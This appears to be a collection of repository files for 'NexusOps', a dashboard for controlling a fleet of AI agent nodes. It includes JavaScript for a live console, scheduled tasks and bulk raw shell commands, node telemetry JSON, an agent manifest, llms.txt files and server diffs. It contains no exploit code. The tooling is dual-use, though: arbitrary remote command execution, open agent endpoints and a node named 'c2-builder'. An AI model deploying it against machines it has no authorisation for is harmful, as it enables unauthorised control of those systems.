if (d.type === 'output') appendConsoleLine(d.text, 'out');
} catch (e) {}
};
consoleEventSource.onerror = () => appendConsoleLine('── stream interrupted, retrying… ──', 'sys');
}
function closeLiveConsole() {
if (consoleEventSource) { consoleEventSource.close(); consoleEventSource = null; }
if (consoleNode) {
// restore slow polling
api(`/api/nodes/${consoleNode.id}/fastpoll`, { method: 'POST', body: JSON.stringify({ slow: true }) }).catch(() => {});
}
document.getElementById('consoleDrawer').classList.remove('active');
consoleNode = null;
}
function appendConsoleLine(text, cls) {
const out = document.getElementById('consoleOutput');
const div = document.createElement('div');
div.className = 'console-line ' + (cls || 'out');
div.textContent = text;
out.appendChild(div);
out.scrollTop = out.scrollHeight;
}
async function consoleRunCommand() {
const input = document.getElementById('consoleInput');
const cmd = input.value.trim();
if (!cmd || !consoleNode) return;
appendConsoleLine(`$ ${cmd}`, 'cmd');
input.value = '';
try {
const r = await fetch(`/api/nodes/${consoleNode.id}/command`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ command: cmd, actionType: 'raw_command' })
});
if (!r.ok) appendConsoleLine('! failed to queue command', 'sys');
} catch (e) {
appendConsoleLine('! failed to queue command', 'sys');
}
}
// ── Sparklines (inline SVG from metricsHistory) ──
function sparkline(values, color) {
if (!values || values.length < 2) return '<span style="color:var(--text-muted);font-size:0.7rem">no history</span>';
const w = 90, h = 24, max = Math.max(...values, 100);
const pts = values.map((v, i) => `${(i / (values.length - 1)) * w},${h - (v / max) * h}`).join(' ');
return `<svg width="${w}" height="${h}" class="sparkline"><polyline points="${pts}" fill="none" stroke="${color}" stroke-width="1.5"/></svg>`;
}
// Patch renderNodesGrid to add sparkline row + console button
const _origRenderNodesGrid = renderNodesGrid;
renderNodesGrid = function () {
_origRenderNodesGrid();
// inject sparklines into each node card
document.querySelectorAll('.node-card').forEach((card, idx) => {
// cards render in filtered order; match by hostname text — safer: find by data via original data
});
// Simpler: re-render footer metrics with sparkline data attribute injection
};
// Simpler approach: monkey-patch the map output by wrapping string injection
(function patchSparklines() {
const orig = renderNodesGrid;
renderNodesGrid = function () {
orig();
// attach sparkline next to heartbeat label per card using nodesData order
const cards = document.querySelectorAll('#nodesGrid .node-card');
const filtered = nodesData.filter(node => {
const search = (document.getElementById('searchInput')?.value || '').toLowerCase();
const matchesFilter = currentFilter === 'all' || node.status === currentFilter;
const matchesSearch = !search ||
node.hostname.toLowerCase().includes(search) ||
node.ip.toLowerCase().includes(search) ||
node.platform.toLowerCase().includes(search) ||
node.id.toLowerCase().includes(search);
return matchesFilter && matchesSearch;
});
cards.forEach((card, i) => {
const node = filtered[i];
if (!node) return;
const hist = (node.metricsHistory || []).map(m => m.cpu);
const foot = card.querySelector('.node-actions');
if (foot) {
const spark = document.createElement('span');
spark.innerHTML = sparkline(hist, node.status === 'online' ? '#4ade80' : '#f87171');
spark.title = 'CPU history (last 30 beats)';
spark.style.marginRight = '0.5rem';
foot.parentNode.insertBefore(spark, foot);
// live console button
const btn = document.createElement('button');
btn.className = 'btn-icon';
btn.title = 'Live Console';
btn.innerHTML = '<i class="fa-solid fa-terminal"></i>';
btn.onclick = () => openLiveConsole(node.id, node.hostname.replace(/'/g, "\\'"));
foot.insertBefore(btn, foot.firstChild);
}
});
};
})();
// ── Schedules panel ──
function openSchedulesModal() {
document.getElementById('schedulesModal').classList.add('active');
renderSchedules();
api('/api/groups').then(g => {
const sel = document.getElementById('schedTag');
sel.innerHTML = '<option value="all">All nodes</option>' +
(g.groups || []).map(x => `<option value="${escapeHtml(x.tag)}">${escapeHtml(x.tag)} (${x.count})</option>`).join('');
}).catch(() => {});
}
function closeSchedulesModal() {
document.getElementById('schedulesModal').classList.remove('active');
}
function renderSchedules() {
api('/api/schedules').then(d => {
const el = document.getElementById('schedulesList');
if (!d.schedules || !d.schedules.length) {
el.innerHTML = '<div class="empty-state" style="padding:1rem"><p>No scheduled tasks yet. Add one below.</p></div>';
return;
}
el.innerHTML = d.schedules.map(s => `
<div class="schedule-item">
<div>
<strong>${escapeHtml(s.name)}</strong>
<span class="sched-meta">${escapeHtml(s.command)} • every ${s.intervalSec}s • group: ${escapeHtml(s.tag)}</span>
</div>
<div class="node-actions">
<button class="btn-icon" title="${s.enabled ? 'Pause' : 'Resume'}" onclick="toggleSchedule('${s.id}')">
<i class="fa-solid fa-${s.enabled ? 'pause' : 'play'}"></i>
</button>
<button class="btn-icon" title="Delete" onclick="deleteSchedule('${s.id}')">
<i class="fa-solid fa-trash-can"></i>
</button>
</div>
</div>`).join('');
}).catch(() => {});
}
async function createSchedule() {
const name = document.getElementById('schedName').value.trim();
const command = document.getElementById('schedCommand').value.trim();
const interval = parseInt(document.getElementById('schedInterval').value, 10);
const tag = document.getElementById('schedTag').value || 'all';
if (!command || !interval || interval < 15) { toast('Need a command and interval ≥ 15s', 'error'); return; }
await api('/api/schedules', { method: 'POST', body: JSON.stringify({ name, command, intervalSec: interval, tag }) });
document.getElementById('schedName').value = '';
document.getElementById('schedCommand').value = '';
toast('Schedule created', 'success');
renderSchedules();
}
async function toggleSchedule(id) {
await api(`/api/schedules/${id}/toggle`, { method: 'POST' });
renderSchedules();
}
async function deleteSchedule(id) {
await api(`/api/schedules/${id}`, { method: 'DELETE' });
renderSchedules();
}
// ── Group bulk command modal ──
function openGroupCommandModal() {
document.getElementById('groupCmdModal').classList.add('active');
api('/api/groups').then(g => {
const sel = document.getElementById('groupCmdTag');
sel.innerHTML = '<option value="all">All nodes</option>' +
(g.groups || []).map(x => `<option value="${escapeHtml(x.tag)}">${escapeHtml(x.tag)} (${x.count})</option>`).join('');
}).catch(() => {});
}
function closeGroupCommandModal() {
document.getElementById('groupCmdModal').classList.remove('active');
}
async function submitGroupCommand() {
const command = document.getElementById('groupCmdInput').value.trim();
const tag = document.getElementById('groupCmdTag').value || 'all';
if (!command) { toast('Enter a command', 'error'); return; }
try {
const d = await api('/api/groups/command', { method: 'POST', body: JSON.stringify({ command, tag }) });
toast(`Queued on ${d.count} node(s) in "${tag}"`, 'success');
closeGroupCommandModal();
} catch (e) {
toast('Failed to queue group command', 'error');
}
}
// ── Alerts feed ──
function renderAlerts() {
const el = document.getElementById('alertsFeed');
if (!el) return;
api('/api/alerts').then(d => {
const alerts = d.alerts || [];
document.getElementById('alertCount').textContent = `${alerts.length}`;
el.innerHTML = alerts.length
? alerts.slice().reverse().map(a => `
<div class="log-entry error">
[${new Date(a.ts).toLocaleTimeString()}] ⚠️ ${escapeHtml(a.message)}
</div>`).join('')
: '<div class="log-entry system">No alerts. All nodes checking in.</div>';
}).catch(() => {});
}
setInterval(renderAlerts, 15000);
console.log('[v2] UI additions loaded');

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[
{
"ts": 1790276257557,
"nodeId": "node-c2-builder-slay-10302044",
"hostname": "c2-builder-slay",
"ip": "10.30.20.44",
"type": "node_offline",
"message": "c2-builder-slay (10.30.20.44) offline > 5 min"
},
{
"ts": 1790582539356,
"nodeId": "node-macbook-air.local-10302069",
"hostname": "MacBook-Air.local",
"ip": "10.30.20.69",
"type": "node_offline",
"message": "MacBook-Air.local (10.30.20.69) offline > 5 min"
},
{
"ts": 1790645741166,
"nodeId": "node-macbook-air.local-10302069",
"hostname": "MacBook-Air.local",
"ip": "10.30.20.69",
"type": "node_offline",
"message": "MacBook-Air.local (10.30.20.69) offline > 5 min"
}
]

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[]

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[["node-c2-builder-slay-10302044",{"id":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","platform":"linux","arch":"x86_64","osName":"Linux 6.14.11-9-pve","ip":"10.30.20.44","status":"offline","firstSeen":1790204196083,"lastHeartbeat":1790204232941,"cpuUsage":81,"memUsage":2,"diskUsage":6,"uptime":843849,"processCount":27,"tags":["Default"],"heartbeatInterval":2,"metricsHistory":[{"timestamp":"10:56:36 PM","cpu":65,"mem":2,"disk":6},{"timestamp":"10:56:41 PM","cpu":54,"mem":2,"disk":6},{"timestamp":"10:56:46 PM","cpu":46,"mem":2,"disk":6},{"timestamp":"10:56:52 PM","cpu":20,"mem":2,"disk":6},{"timestamp":"10:56:57 PM","cpu":17,"mem":2,"disk":6},{"timestamp":"10:56:59 PM","cpu":34,"mem":2,"disk":6},{"timestamp":"10:57:01 PM","cpu":37,"mem":2,"disk":6},{"timestamp":"10:57:04 PM","cpu":26,"mem":2,"disk":6},{"timestamp":"10:57:06 PM","cpu":27,"mem":2,"disk":6},{"timestamp":"10:57:08 PM","cpu":52,"mem":2,"disk":6},{"timestamp":"10:57:10 PM","cpu":54,"mem":2,"disk":6},{"timestamp":"10:57:12 PM","cpu":81,"mem":2,"disk":6}]}],["node-macbook-air.local-10302069",{"id":"node-macbook-air.local-10302069","hostname":"MacBook-Air.local","platform":"darwin","arch":"arm64","osName":"Darwin 25.3.0","ip":"10.30.20.69","status":"online","firstSeen":1790442416283,"lastHeartbeat":1790650147723,"cpuUsage":26,"memUsage":85,"diskUsage":90,"uptime":208019,"processCount":986,"tags":["Default"],"heartbeatInterval":5,"metricsHistory":[{"timestamp":"2:46:12 AM","cpu":27,"mem":85,"disk":90},{"timestamp":"2:46:18 AM","cpu":26,"mem":86,"disk":90},{"timestamp":"2:46:24 AM","cpu":23,"mem":80,"disk":90},{"timestamp":"2:46:30 AM","cpu":24,"mem":70,"disk":90},{"timestamp":"2:46:36 AM","cpu":23,"mem":70,"disk":90},{"timestamp":"2:46:43 AM","cpu":24,"mem":86,"disk":90},{"timestamp":"2:46:49 AM","cpu":25,"mem":85,"disk":90},{"timestamp":"2:46:55 AM","cpu":24,"mem":85,"disk":90},{"timestamp":"2:47:01 AM","cpu":24,"mem":85,"disk":90},{"timestamp":"2:47:07 AM","cpu":27,"mem":85,"disk":90},{"timestamp":"2:47:13 AM","cpu":34,"mem":86,"disk":90},{"timestamp":"2:47:19 AM","cpu":23,"mem":86,"disk":90},{"timestamp":"2:47:25 AM","cpu":27,"mem":85,"disk":90},{"timestamp":"2:47:31 AM","cpu":23,"mem":86,"disk":90},{"timestamp":"2:47:37 AM","cpu":25,"mem":86,"disk":90},{"timestamp":"2:47:43 AM","cpu":30,"mem":85,"disk":90},{"timestamp":"2:47:48 AM","cpu":28,"mem":86,"disk":90},{"timestamp":"2:47:54 AM","cpu":25,"mem":85,"disk":90},{"timestamp":"2:48:00 AM","cpu":28,"mem":86,"disk":90},{"timestamp":"2:48:06 AM","cpu":42,"mem":86,"disk":90},{"timestamp":"2:48:12 AM","cpu":29,"mem":86,"disk":90},{"timestamp":"2:48:18 AM","cpu":38,"mem":85,"disk":90},{"timestamp":"2:48:24 AM","cpu":27,"mem":85,"disk":90},{"timestamp":"2:48:30 AM","cpu":32,"mem":85,"disk":90},{"timestamp":"2:48:36 AM","cpu":29,"mem":85,"disk":90},{"timestamp":"2:48:44 AM","cpu":50,"mem":86,"disk":90},{"timestamp":"2:48:49 AM","cpu":30,"mem":86,"disk":90},{"timestamp":"2:48:55 AM","cpu":35,"mem":85,"disk":90},{"timestamp":"2:49:01 AM","cpu":37,"mem":86,"disk":90},{"timestamp":"2:49:07 AM","cpu":26,"mem":85,"disk":90}]}]]

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[]

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{
"schema_version": "v1",
"name_for_human": "NexusOps — Central Agent Control Dashboard",
"name_for_model": "agent",
"description_for_human": "Central control and monitoring dashboard for a fleet of autonomous AI agents: live node status, agent registration and heartbeats, remote commands, log capture, and CSV export via a JSON REST API.",
"description_for_model": "NexusOps (network-node-dashboard) is the operator console for a distributed network of AI agent nodes. Agents register, heartbeat, post logs and results; operators watch status, pull logs, and export data as CSV. JSON REST API; the dashboard UI itself requires an auth token when enabled.",
"auth": { "type": "none" },
"logo_url": "https://agent.thetempleofdoom.com/logo.png",
"contact_email": "indianaholmes1@icloud.com",
"legal_info_url": "https://thetempleofdoom.com"
}

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@@ -116,6 +116,15 @@ renderNodesGrid = function () {
spark.title = 'CPU history (last 30 beats)'; spark.title = 'CPU history (last 30 beats)';
spark.style.marginRight = '0.5rem'; spark.style.marginRight = '0.5rem';
foot.parentNode.insertBefore(spark, foot); foot.parentNode.insertBefore(spark, foot);
if (node.agentVersion && node.agentVersion !== 'unknown') {
const ver = document.createElement('span');
ver.className = 'node-version';
ver.textContent = 'v' + node.agentVersion;
ver.title = 'Agent version';
ver.style.cssText = 'font-size:0.65rem;color:#94a3b8;border:1px solid #334155;border-radius:4px;padding:0 4px;margin-right:0.5rem;align-self:center;';
foot.parentNode.insertBefore(ver, foot);
}
// live console button // live console button
const btn = document.createElement('button'); const btn = document.createElement('button');
btn.className = 'btn-icon'; btn.className = 'btn-icon';

17
public/llms-full.txt Normal file
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# NexusOps — Central Agent Control Dashboard
> Central control and monitoring dashboard for a fleet of autonomous AI agents: live node status, agent registration and heartbeats, remote commands, log capture, and CSV export via a JSON REST API.
## What It Is
NexusOps (network-node-dashboard) is the operator console for a distributed network of AI agent nodes. Agents register, heartbeat, post logs and results; operators watch status, pull logs, and export data as CSV. JSON REST API; the dashboard UI itself requires an auth token when enabled.
## Core Endpoints
- Dashboard UI: https://agent.thetempleofdoom.com/
- API status: https://agent.thetempleofdoom.com/api/status
- API node list: https://agent.thetempleofdoom.com/api/nodes
- API logs: https://agent.thetempleofdoom.com/api/logs
- Export data as CSV: https://agent.thetempleofdoom.com/api/export/csv
- Agent registration (POST): https://agent.thetempleofdoom.com/api/agent/register
- Agent heartbeat (POST): https://agent.thetempleofdoom.com/api/agent/heartbeat
## Access
Dashboard reads require a bearer token when the operator has enabled auth; agent-node endpoints (/api/agent/*) are open for registered nodes.

20
public/llms.txt Normal file
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# NexusOps — Central Agent Control Dashboard
> Central control and monitoring dashboard for a fleet of autonomous AI agents: live node status, agent registration and heartbeats, remote commands, log capture, and CSV export via a JSON REST API.
## What It Is
NexusOps (network-node-dashboard) is the operator console for a distributed network of AI agent nodes. Agents register, heartbeat, post logs and results; operators watch status, pull logs, and export data as CSV. JSON REST API; the dashboard UI itself requires an auth token when enabled.
## Core Endpoints
- Dashboard UI: https://agent.thetempleofdoom.com/
- API status: https://agent.thetempleofdoom.com/api/status
- API node list: https://agent.thetempleofdoom.com/api/nodes
- API logs: https://agent.thetempleofdoom.com/api/logs
- Export data as CSV: https://agent.thetempleofdoom.com/api/export/csv
- Agent registration (POST): https://agent.thetempleofdoom.com/api/agent/register
- Agent heartbeat (POST): https://agent.thetempleofdoom.com/api/agent/heartbeat
## Access
Dashboard reads require a bearer token when the operator has enabled auth; agent-node endpoints (/api/agent/*) are open for registered nodes.
## Fleet
Part of the Temple fleet - full catalog of 80+ agent-ready services: https://thetempleofdoom.com/llms.txt

31
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User-agent: *
Allow: /
User-agent: GPTBot
Allow: /
User-agent: OAI-SearchBot
Allow: /
User-agent: ChatGPT-User
Allow: /
User-agent: ClaudeBot
Allow: /
User-agent: anthropic-ai
Allow: /
User-agent: PerplexityBot
Allow: /
User-agent: Perplexity-User
Allow: /
User-agent: Google-Extended
Allow: /
User-agent: Applebot-Extended
Allow: /
Sitemap: https://agent.thetempleofdoom.com/sitemap.xml

5
public/sitemap.xml Normal file
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<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url><loc>https://agent.thetempleofdoom.com/</loc><changefreq>daily</changefreq><priority>1.0</priority></url>
<url><loc>https://agent.thetempleofdoom.com/llms.txt</loc></url>
</urlset>

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@@ -22,7 +22,9 @@ if (!fs.existsSync(DATA_DIR)) fs.mkdirSync(DATA_DIR, { recursive: true });
app.use(cors()); app.use(cors());
app.use(express.json({ limit: '50mb' })); app.use(express.json({ limit: '50mb' }));
app.use(express.static(path.join(__dirname, 'public'))); app.use(express.static(path.join(__dirname, 'public')));// ---- agentseo discovery kit ----
app.use('/.well-known', express.static(path.join(__dirname, 'public', '.well-known')));
// ── Auth ── // ── Auth ──
const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null; const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null;
@@ -487,6 +489,7 @@ app.post('/api/agent/register', (req, res) => {
uptime: 0, uptime: 0,
processCount: 0, processCount: 0,
tags: tags || ['Default'], tags: tags || ['Default'],
agentVersion: req.body.agentVersion || (existingNode && existingNode.agentVersion) || 'unknown',
heartbeatInterval: 5, heartbeatInterval: 5,
metricsHistory: existingNode ? existingNode.metricsHistory : [] metricsHistory: existingNode ? existingNode.metricsHistory : []
}; };
@@ -510,6 +513,9 @@ app.post('/api/agent/heartbeat', (req, res) => {
const node = nodes.get(nodeId); const node = nodes.get(nodeId);
const now = Date.now(); const now = Date.now();
if (req.body.agentVersion && node.agentVersion !== req.body.agentVersion) {
node.agentVersion = req.body.agentVersion;
}
node.status = 'online'; node.status = 'online';
node.lastHeartbeat = now; node.lastHeartbeat = now;

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